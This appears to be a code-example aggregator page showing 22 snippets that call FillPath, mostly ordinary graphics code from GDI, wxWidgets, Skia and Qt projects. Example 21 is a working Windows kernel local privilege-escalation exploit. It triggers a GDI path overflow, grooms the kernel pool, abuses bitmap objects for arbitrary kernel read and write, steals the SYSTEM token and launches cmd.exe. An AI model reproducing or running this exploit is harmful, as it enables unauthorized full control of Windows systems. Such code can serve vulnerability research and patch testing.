Exemplo n.º 1
0
void iupDrawArc(IdrawCanvas* dc, int x1, int y1, int x2, int y2, double a1, double a2, unsigned char r, unsigned char g, unsigned char b, int style)
{
  int XStartArc = winDrawCalcArc(x1, x2, a1, 1);
  int XEndArc = winDrawCalcArc(x1, x2, a2, 0);
  int YStartArc = winDrawCalcArc(y1, y2, a1, 1);
  int YEndArc = winDrawCalcArc(y1, y2, a2, 0);

  if (style==IUP_DRAW_FILL)
  {
    HBRUSH hBrush = CreateSolidBrush(RGB(r,g,b));
    HPEN hBrushOld = SelectObject(dc->hBitmapDC, hBrush); 
    BeginPath(dc->hBitmapDC); 
    Pie(dc->hBitmapDC, x1, y1, x2+1, y2+1, XStartArc, YStartArc, XEndArc, YEndArc);
    EndPath(dc->hBitmapDC);
    FillPath(dc->hBitmapDC);
    SelectObject(dc->hBitmapDC, hBrushOld);
    DeleteObject(hBrush);
  }
  else
  {
    HPEN hPen = CreatePen(style==IUP_DRAW_STROKE_DASH? PS_DASH: PS_SOLID, 1, RGB(r, g, b));
    HPEN hPenOld = SelectObject(dc->hBitmapDC, hPen);
    Arc(dc->hBitmapDC, x1, y1, x2+1, y2+1, XStartArc, YStartArc, XEndArc, YEndArc);
    SelectObject(dc->hBitmapDC, hPenOld);
    DeleteObject(hPen);
  }
}
Exemplo n.º 2
0
void structGraphicsScreen :: v_fillArea (long numberOfPoints, double *xyDC) {
#if cairo
    if (our d_cairoGraphicsContext == NULL) return;
    // cairo_new_path (our d_cairoGraphicsContext); // move_to() automatically creates a new path
    cairo_move_to (our d_cairoGraphicsContext, xyDC [0], xyDC [1]);
    for (long i = 1; i < numberOfPoints; i ++)
        cairo_line_to (our d_cairoGraphicsContext, xyDC [i + i], xyDC [i + i + 1]);
    cairo_close_path (our d_cairoGraphicsContext);
    cairo_fill (our d_cairoGraphicsContext);
#elif win
    MY_BRUSH
    BeginPath (our d_gdiGraphicsContext);
    MoveToEx (our d_gdiGraphicsContext, xyDC [0], xyDC [1], NULL);
    for (long i = 1; i < numberOfPoints; i ++)
        LineTo (our d_gdiGraphicsContext, xyDC [i + i], xyDC [i + i + 1]);
    EndPath (our d_gdiGraphicsContext);
    FillPath (our d_gdiGraphicsContext);
    DEFAULT
#elif mac
    GraphicsQuartz_initDraw (this);
    quartzPrepareFill (this);
    CGContextBeginPath (our d_macGraphicsContext);
    CGContextMoveToPoint (our d_macGraphicsContext, xyDC [0], xyDC [1]);
    for (long i = 1; i < numberOfPoints; i ++) {
        CGContextAddLineToPoint (our d_macGraphicsContext, xyDC [i + i], xyDC [i + i + 1]);
    }
    CGContextFillPath (our d_macGraphicsContext);
    GraphicsQuartz_exitDraw (this);
#endif
}
Exemplo n.º 3
0
void wxGraphicsContext::DrawText( const wxString &str, wxDouble x, wxDouble y, wxDouble angle, const wxGraphicsBrush& backgroundBrush )
{
    wxGraphicsBrush formerBrush = m_brush;
	wxGraphicsPen formerPen = m_pen;

    wxDouble width;
    wxDouble height;
    wxDouble descent;
    wxDouble externalLeading;
    GetTextExtent( str , &width, &height, &descent, &externalLeading );
    SetBrush( backgroundBrush );
	// to make sure our 'OffsetToPixelBoundaries' doesn't move the fill shape
	SetPen( wxNullGraphicsPen );

    wxGraphicsPath path = CreatePath();
    path.MoveToPoint( x , y );
    path.AddLineToPoint( (int) (x + sin(angle) * height) , (int) (y + cos(angle) * height) );
    path.AddLineToPoint(
        (int) (x + sin(angle) * height + cos(angle) * width) ,
        (int) (y + cos(angle) * height - sin(angle) * width));
    path.AddLineToPoint((int) (x + cos(angle) * width) , (int) (y - sin(angle) * width) );
    FillPath( path );
    DrawText( str, x ,y, angle);
    SetBrush( formerBrush );
	SetPen( formerPen );
}
Exemplo n.º 4
0
void
wxGraphicsContext::DoDrawFilledText(const wxString &str,
                                    wxDouble x,
                                    wxDouble y,
                                    const wxGraphicsBrush& backgroundBrush)
{
    wxGraphicsBrush formerBrush = m_brush;
    wxGraphicsPen formerPen = m_pen;
    wxDouble width;
    wxDouble height;
    wxDouble descent;
    wxDouble externalLeading;
    GetTextExtent( str , &width, &height, &descent, &externalLeading );
    SetBrush( backgroundBrush );
    // to make sure our 'OffsetToPixelBoundaries' doesn't move the fill shape
    SetPen( wxNullGraphicsPen );

    wxGraphicsPath path = CreatePath();
    path.AddRectangle( x , y, width, height );
    FillPath( path );

    DrawText( str, x ,y);
    SetBrush( formerBrush );
    SetPen( formerPen );
}
Exemplo n.º 5
0
    void GdiContext2D::Check()
    {
        //because GDI closes the path after Fill or stroke
        //we need a state to do both at the same time
        if (this->flags == 0)
        {
            //not using path
            return;
        }

        if (this->flags == 1)
        {
            COLORREF color = ColorToColorRef(strokeStyle.m_Color);
            HPEN hpen = CreatePen(PS_SOLID, (int)lineWidth, color); //TODO
            HPEN oldPen = (HPEN) SelectObject(m_hDC, hpen);
            StrokePath(m_hDC);
            SelectObject(m_hDC, oldPen);
            //
            DeleteObject(hpen);
        }
        else if (this->flags == 2)
        {
            COLORREF color = ColorToColorRef(fillStyle.m_Color);
            LOGBRUSH logbrush;
            logbrush.lbColor = color;
            logbrush.lbStyle = BS_SOLID;
            logbrush.lbHatch = 0;
            HBRUSH hBrush = CreateBrushIndirect(&logbrush);
            HBRUSH oldBrush = (HBRUSH)SelectObject(m_hDC, hBrush);
            //
            FillPath(m_hDC);
            //
            SelectObject(m_hDC, oldBrush);
            DeleteObject(hBrush);
        }
        else if (this->flags == 3)
        {
            COLORREF color2 = ColorToColorRef(strokeStyle.m_Color);
            HPEN hpen = CreatePen(PS_SOLID, (int) lineWidth, color2); //TODO
            HPEN oldPen = (HPEN) SelectObject(m_hDC, hpen);
            COLORREF color = ColorToColorRef(fillStyle.m_Color);
            LOGBRUSH logbrush;
            logbrush.lbColor = color;
            logbrush.lbStyle = BS_SOLID;
            logbrush.lbHatch = 0;
            HBRUSH hBrush = CreateBrushIndirect(&logbrush);
            HBRUSH oldBrush = (HBRUSH)SelectObject(m_hDC, hBrush);
            //
            StrokeAndFillPath(m_hDC);
            //
            SelectObject(m_hDC, oldPen);
            SelectObject(m_hDC, oldBrush);
            //
            DeleteObject(hBrush);
            DeleteObject(hpen);
        }

        this->flags = 0;
    }
Exemplo n.º 6
0
FX_BOOL CFDE_GdiDevice::FillRoundRectangle(IFDE_Brush* pBrush,
                                           const CFX_RectF& rect,
                                           const CFX_SizeF& round,
                                           const CFX_Matrix* pMatrix) {
  CFDE_GdiPath path;
  path.AddRoundRectangle(rect, round);
  return FillPath(pBrush, &path, pMatrix);
}
Exemplo n.º 7
0
int client_FillPath(const int pdcID) {
    HDC pdc = printerDCs[pdcID];
    if (pdc != NULL) {
        if (FillPath(pdc)) {
            return JNI_TRUE;
        }
    }
    return JNI_FALSE;
}
Exemplo n.º 8
0
FX_BOOL CFDE_GdiDevice::FillChord(IFDE_Brush* pBrush,
                                  const CFX_RectF& rect,
                                  FX_FLOAT startAngle,
                                  FX_FLOAT sweepAngle,
                                  const CFX_Matrix* pMatrix) {
  CFX_ArcF chord;
  chord.Set(rect, startAngle, sweepAngle);
  CFDE_GdiPath path;
  path.AddChord(chord);
  return FillPath(pBrush, &path, pMatrix);
}
        npc_seismic_shardAI(Creature* creature) : ScriptedAI(creature)
        {
            instance = creature->GetInstanceScript();
            me->SetDisableGravity(true);
            DoCast(me, SPELL_SEISMIC_SHARD_VISUAL);

            Movement::MoveSplineInit init(me);
            FillPath(me->GetPosition(), init.Path());
            init.SetFly();
            init.Launch();

            events.ScheduleEvent(EVENT_SEISMIC_SHARD_MOUNT, 2400);
        }
Exemplo n.º 10
0
PHP_METHOD(WinGdiPath, fillPath)
{
    wingdi_devicecontext_object *dc_obj;
    wingdi_path_object *path_obj;

    WINGDI_ERROR_HANDLING();
    if (zend_parse_parameters_none() == FAILURE)
        return;
    WINGDI_RESTORE_ERRORS();

    path_obj = zend_object_store_get_object(getThis() TSRMLS_CC);
    dc_obj = zend_object_store_get_object(path_obj->device_context TSRMLS_CC);
    RETURN_BOOL(FillPath(dc_obj->hdc));
}
Exemplo n.º 11
0
void wxGraphicsContext::DrawText( const wxString &str, wxDouble x, wxDouble y, const wxGraphicsBrush& backgroundBrush ) 
{
    wxGraphicsBrush formerBrush = m_brush;
    wxDouble width;
    wxDouble height;
    wxDouble descent;
    wxDouble externalLeading;
    GetTextExtent( str , &width, &height, &descent, &externalLeading );
    SetBrush( backgroundBrush );

    wxGraphicsPath path = CreatePath();
    path.AddRectangle( x , y, width, height );
    FillPath( path );

    DrawText( str, x ,y);
    SetBrush( formerBrush );
}
Exemplo n.º 12
0
void SkScan::FillTriangle(const SkPoint pts[], const SkRasterClip& clip,
                          SkBlitter* blitter) {
    if (clip.isEmpty()) {
        return;
    }

    SkRect  r;
    r.set(pts, 3);
    // If r is too large (larger than can easily fit in SkFixed) then we need perform geometric
    // clipping. This is a bit of work, so we just call the general FillPath() to handle it.
    // Use FixedMax/2 as the limit so we can subtract two edges and still store that in Fixed.
    const SkScalar limit = SK_MaxS16 >> 1;
    if (!SkRect::MakeLTRB(-limit, -limit, limit, limit).contains(r)) {
        SkPath path;
        path.addPoly(pts, 3, false);
        FillPath(path, clip, blitter);
        return;
    }

    SkIRect ir = conservative_round_to_int(r);
    if (ir.isEmpty() || !SkIRect::Intersects(ir, clip.getBounds())) {
        return;
    }

    SkAAClipBlitterWrapper wrap;
    const SkRegion* clipRgn;
    if (clip.isBW()) {
        clipRgn = &clip.bwRgn();
    } else {
        wrap.init(clip, blitter);
        clipRgn = &wrap.getRgn();
        blitter = wrap.getBlitter();
    }

    SkScanClipper clipper(blitter, clipRgn, ir);
    blitter = clipper.getBlitter();
    if (blitter) {
        sk_fill_triangle(pts, clipper.getClipRect(), blitter, ir);
    }
}
Exemplo n.º 13
0
void iupDrawPolygon(IdrawCanvas* dc, int* points, int count, unsigned char r, unsigned char g, unsigned char b, int style)
{
  if (style==IUP_DRAW_FILL)
  {
    HBRUSH hBrush = CreateSolidBrush(RGB(r,g,b));
    HPEN hBrushOld = SelectObject(dc->hBitmapDC, hBrush); 
    BeginPath(dc->hBitmapDC); 
    Polygon(dc->hBitmapDC, (POINT*)points, count);
    EndPath(dc->hBitmapDC);
    FillPath(dc->hBitmapDC);
    SelectObject(dc->hBitmapDC, hBrushOld);
    DeleteObject(hBrush);
  }
  else
  {
    HPEN hPen = CreatePen(style==IUP_DRAW_STROKE_DASH? PS_DASH: PS_SOLID, 1, RGB(r, g, b));
    HPEN hPenOld = SelectObject(dc->hBitmapDC, hPen);
    Polyline(dc->hBitmapDC, (POINT*)points, count);
    SelectObject(dc->hBitmapDC, hPenOld);
    DeleteObject(hPen);
  }
}
Exemplo n.º 14
0
void wxGraphicsContext::DrawText( const wxString &str, wxDouble x, wxDouble y, wxDouble angle, const wxGraphicsBrush& backgroundBrush )
{
    wxGraphicsBrush formerBrush = m_brush;

    wxDouble width;
    wxDouble height;
    wxDouble descent;
    wxDouble externalLeading;
    GetTextExtent( str , &width, &height, &descent, &externalLeading );
    SetBrush( backgroundBrush );

    wxGraphicsPath path = CreatePath();
    path.MoveToPoint( x , y );
    path.AddLineToPoint( (int) (x + sin(angle) * height) , (int) (y + cos(angle) * height) );
    path.AddLineToPoint(
        (int) (x + sin(angle) * height + cos(angle) * width) ,
        (int) (y + cos(angle) * height - sin(angle) * width));
    path.AddLineToPoint((int) (x + cos(angle) * width) , (int) (y - sin(angle) * width) );
    FillPath( path );
    DrawText( str, x ,y, angle);
    SetBrush( formerBrush );
}
Exemplo n.º 15
0
void __fastcall TExtPolyline::DrawTo(void *dc,void *pen,void *brush)
{
CreatePath(dc);
if (brush)
    {
    void* oldbrush=SelectObject(dc,brush);
    if (pen)
        {
        void *oldpen=SelectObject(dc,pen);
        StrokeAndFillPath(dc);
        SelectObject(dc,oldpen);
        }
    else
        FillPath(dc);
    SelectObject(dc,oldbrush);
    }
else if (pen)
    {
    void *oldpen=SelectObject(dc,pen);
    StrokePath(dc);
    SelectObject(dc,oldpen);
    }
}
Exemplo n.º 16
0
void deleteFilledObjetFigure (HGDIOBJ orig, HDC hdc, HBRUSH& hBrush) {
	FillPath (hdc);
	SelectObject (hdc, orig);
	DeleteObject (hBrush);
}
Exemplo n.º 17
0
void SkScan::FillPath(const SkPath& path, const SkIRect& ir,
                      SkBlitter* blitter) {
    SkRegion rgn(ir);
    FillPath(path, rgn, blitter);
}
Exemplo n.º 18
0
void EmfPaintEngine::drawPath ( const QPainterPath & path )
{
	setClipping();

	int points = path.elementCount();
	POINT *pts = new POINT[points];
	BYTE *types = new BYTE[points];

	POINT *bzs = new POINT[3];
	int bez = 0;

	BeginPath(metaDC);

	QMatrix m = painter()->worldMatrix();
	for (int i = 0; i < points; i++){
		QPainterPath::Element el = path.elementAt(i);
		QPointF p = m.map(QPointF(el.x, el.y));
		int x = qRound(p.x());
		int y = qRound(p.y());
		pts[i].x = x;
		pts[i].y = y;

		switch(el.type){
			case QPainterPath::MoveToElement:
				types[i] = PT_MOVETO;
			#ifndef Q_WS_WIN
				MoveToEx (metaDC, x, y, 0);
			#endif
			break;

			case QPainterPath::LineToElement:
				types[i] = PT_LINETO;
			#ifndef Q_WS_WIN
				LineTo(metaDC, x, y);
			#endif
			break;

			case QPainterPath::CurveToElement:
				types[i] = PT_BEZIERTO;
			#ifndef Q_WS_WIN
				bzs[bez] = pts[i];
				bez++;
			#endif
			break;

			case QPainterPath::CurveToDataElement:
				types[i] = PT_BEZIERTO;
			#ifndef Q_WS_WIN
				bzs[bez] = pts[i];
				if (bez == 2){
					PolyBezierTo(metaDC, bzs, 3);
					bez = 0;
				} else
					bez++;
			#endif
			break;
		}
	}

	HPEN wpen = convertPen(painter()->pen());
	SelectObject(metaDC, wpen);
#ifdef Q_WS_WIN
	PolyDraw(metaDC, pts, types, points);
#else
	StrokePath(metaDC);
#endif

	HBRUSH wbrush = convertBrush(painter()->brush());
	SelectObject(metaDC, wbrush);

	EndPath(metaDC);

	if(QPoint(pts[0].x, pts[0].y) == QPoint(pts[points - 1].x, pts[points - 1].y))
		StrokeAndFillPath(metaDC);
	else {
		FillPath(metaDC);
	#ifdef Q_WS_WIN
		PolyDraw(metaDC, pts, types, points);
	#else
		StrokePath(metaDC);
	#endif
	}

	resetClipping();
	DeleteObject(wbrush);
	DeleteObject(wpen);
	delete [] pts;
	delete [] types;
}
Exemplo n.º 19
0
void wxGraphicsContext::DrawPath( const wxGraphicsPath& path, int fillStyle )
{
    FillPath( path , fillStyle );
    StrokePath( path );
}
Exemplo n.º 20
0
void wxGraphicsContext::DrawPath( const wxGraphicsPath& path, wxPolygonFillMode fillStyle )
{
    FillPath( path , fillStyle );
    StrokePath( path );
}
Exemplo n.º 21
0
void main(int argc, char* argv[]) {
	HDC hdc = GetDC(NULL);
	HDC hMemDC = CreateCompatibleDC(hdc);
	HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
	HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);

	static POINT points[0x3fe01];

	for (int l = 0; l < 0x3FE00; l++) {
		points[l].x = 0x5a1f;
		points[l].y = 0x5a1f;
	}
	points[2].y = 20;
	points[0x3FE00].x = 0x4a1f;
	points[0x3FE00].y = 0x6a1f;

	if (!BeginPath(hMemDC)) {
		fprintf(stderr, "[!] BeginPath() Failed: %x\r\n", GetLastError());
	}	

	for (int j = 0; j < 0x156; j++) {
		if (j > 0x1F && points[2].y != 0x5a1f) {
			points[2].y = 0x5a1f;
		}
		if (!PolylineTo(hMemDC, points, 0x3FE01)) {
			fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
		}
	}

	EndPath(hMemDC);
	//Kernel Pool Fung=Shuei
	fungshuei();
	//getchar();
	
	fprintf(stdout, "[+] Trigerring Exploit.\r\n");
	if (!FillPath(hMemDC)) {
			fprintf(stderr, "[!] FillPath() Failed: %x\r\n", GetLastError());
		}
	printf("%s\r\n", "Done filling.");

	HRESULT res;
	VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!fake) {
		fprintf(stderr, "VirtualAllocFailed. %x\r\n", GetLastError());
	}
	memset(fake, 0x1, 0x100);
	
	bits = malloc(0x1000);
	memset(bits, 0x42, 0x1000);
	for (int k=0; k < 5000; k++) {

		res = GetBitmapBits(bitmaps[k], 0x1000, bits); //1685 * 2 * 1 + 1
		if (res > 0x150) {
			fprintf(stdout, "GetBitmapBits Result. %x\r\nindex: %d\r\n", res, k);
			hManager = bitmaps[k];
			hWorker = bitmaps[k + 1];

			// Get Gh05 header to fix overflown header.
			static BYTE Gh04[0x9];
			fprintf(stdout, "\r\nGh04 header:\r\n");
			for (int i = 0; i < 0x10; i++){
				Gh04[i] = bits[0x1d0 + i];
				fprintf(stdout, "%02x", bits[0x1d0 + i]);
			}
			
			// Get Gh05 header to fix overflown header.
			static BYTE Gh05[0x9];
			fprintf(stdout, "\r\nGh05 header:\r\n");
			for (int i = 0; i < 0x10; i++) {
				Gh05[i] = bits[0xd90 + i];
				fprintf(stdout, "%02x", bits[0xd90 + i]);
			}

			// Address of Overflown Gh04 object header
			static BYTE addr1[0x7];
			fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
			for (int j = 0; j < 0x8; j++) {
				addr1[j] = bits[0x210 + j];
				fprintf(stdout, "%02x", bits[0x210 + j]);
			}
			//Get pvscan0 address of second Gh05 object
			static BYTE* pvscan[0x07];
			fprintf(stdout, "\r\nPvsca0:\r\n");
			for (int i = 0; i < 0x8; i++) {
				pvscan[i] = bits[0xdf0 + i];
				fprintf(stdout, "%02x", bits[0xdf0 + i]);
			}

			// Calculate address to overflown Gh04 object header.
			addr1[0x0] = 0;
			int u = addr1[0x1];
			u = u - 0x10;
			addr1[1] = u;
			
			//Fix overflown Gh04 object Header
			SetAddress(addr1);
			WriteToAddress(Gh04);

			// Calculate address to overflown Gh05 object header.
			addr1[0] = 0xc0;
			int y = addr1[1];
			y = y + 0xb;
			addr1[1] = y;

			//Fix overflown Gh05 object Header
			SetAddress(addr1);
			WriteToAddress(Gh05);

			// get System EPROCESS
			ULONG64 SystemEPROCESS = PsInitialSystemProcess();
			//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
			ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
			//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
			ULONG64 SystemToken = 0;
			// read token from system process
			ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
			// write token to current process
			ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
			SetAddress((BYTE *)&CurProccessAddr);
			
			WriteToAddress((BYTE *)&SystemToken);
			// Done and done. We're System :)
			system("cmd.exe");
			
			break;
		}
		if (res == 0) {
			fprintf(stderr, "GetBitmapBits failed. %x\r\n", GetLastError());
		}
	}
	getchar();
	//clean up
	DeleteObject(bitobj);
	DeleteObject(bitmap);
	DeleteDC(hMemDC);
	ReleaseDC(NULL, hdc);
	VirtualFree(0x0000000100000000, 0x100, MEM_RELEASE);
	//free(points);
	
}
Exemplo n.º 22
0
static void dw_gt_fill(vd_trace_interface *I)
{   get_window(); 
    if (host.tw == NULL) 
        return;
    FillPath(I->host->hdc);
}